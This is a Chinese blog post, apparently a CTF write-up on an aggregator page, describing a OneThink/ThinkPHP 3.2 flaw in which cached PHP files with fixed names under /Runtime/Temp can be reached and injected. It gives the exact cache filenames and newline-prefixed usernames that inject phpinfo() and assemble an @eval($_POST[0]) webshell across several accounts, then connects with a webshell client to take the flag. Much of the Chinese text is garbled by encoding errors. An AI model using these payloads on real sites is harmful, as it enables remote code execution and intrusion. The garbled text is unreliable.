onethink swfupload upload.php,OneThink--ThinkPHP3.2 缓存文件泄露
框架漏洞
因?yàn)閲L試訪問/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php的確成功,所以很有可能就是這個(gè)漏洞。雖然圖都掛掉了,但是大概也能看懂。漏洞的成因大概就是ThinkPHP框架的緩存函數(shù)S()是以File方式,在/Runtime/Temp下生成緩存php文件,而且緩存文件名固定。另外烏云的這個(gè)漏洞詳情沒有公開,能找到的文章只有這篇。
本地搭建
一不小心下成了1.1版本,不過應(yīng)該也沒有太多的不同,這里我需要安裝兩個(gè)所需的php插件,并設(shè)置可寫
$yum installphp-mbstring
$yum installphp-gd
$chmod777 -R wwwroot
瀏覽/Runtime/Temp目錄發(fā)現(xiàn)如下文件:
27cdbc1fb1747e4f56dfb350211408e1.php
2923514e8f7dfe49ac5aebd5073e6000.php
5f172c2585b382a65d91e0c51a64dc7f.php
77278367caf1eb2690f686654d77e163.php
ea40274ec2c219aa956e2d44e586834d.php
其中如下兩個(gè)文件是跟用戶有關(guān)的文件:
5f172c2585b382a65d91e0c51a64dc7f.php
ea40274ec2c219aa956e2d44e586834d.php
這個(gè)兩個(gè)文件內(nèi)容一樣,但不一定同時(shí)存在,內(nèi)容如下:
//000000000000a:1:{s:2:"u1";s:13:"Administrator";}
?>
分析利用
如果用戶名中存在用換行符或者回車,即可讓語句從單行注釋中逃逸出來:如注冊(cè)一個(gè)名為%0aphpinfo();//的用戶并登陸,這里需要注意注冊(cè)以及登陸框會(huì)將輸入url編碼,所以要在burp里還原%0a,順便吐槽一下驗(yàn)證碼,太難看清了。登陸前只有ea的一個(gè)文件,登陸后5f文件也出現(xiàn)了。觀察這兩個(gè)文件內(nèi)容如下:
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"
phpinfo();//";}
訪問/wwwroot/Runtime/Temp/ea40274ec2c219aa956e2d44e586834d.php 查看phpinfo()成功,所以可以開心的寫木馬了,但是這里限制了用戶名為16個(gè)字符,所以只能分開寫:
%0a@eval($_POST[0]);// [20個(gè)字符]
%0a$a=$_POST[0];// [16個(gè)字符]
%0a@eval($a);// [13個(gè)字符]
注冊(cè)完分別登錄,換存文件就變成如下,菜刀鏈接即可,flag就在根目錄下
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"
phpinfo();//";s:2:"u5";s:16:"
$a=$_POST[0];//";s:2:"u7";s:13:"
@eval($a);//";}
版本不同
1.0 的緩存文件名為:
2bb202459c30a1628513f40ab22fa01a.php
865e8245bc0c525aa4a48bfb433d7c3e.php
1.1 的緩存文件名為:
5f172c2585b382a65d91e0c51a64dc7f.php
ea40274ec2c219aa956e2d44e586834d.php
總結(jié)
以上是生活随笔為你收集整理的onethink swfupload upload.php,OneThink--ThinkPHP3.2 缓存文件泄露的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 终端滑模matlab程序,滑模变结构控制
- 下一篇: 华为 MateBook E GO 202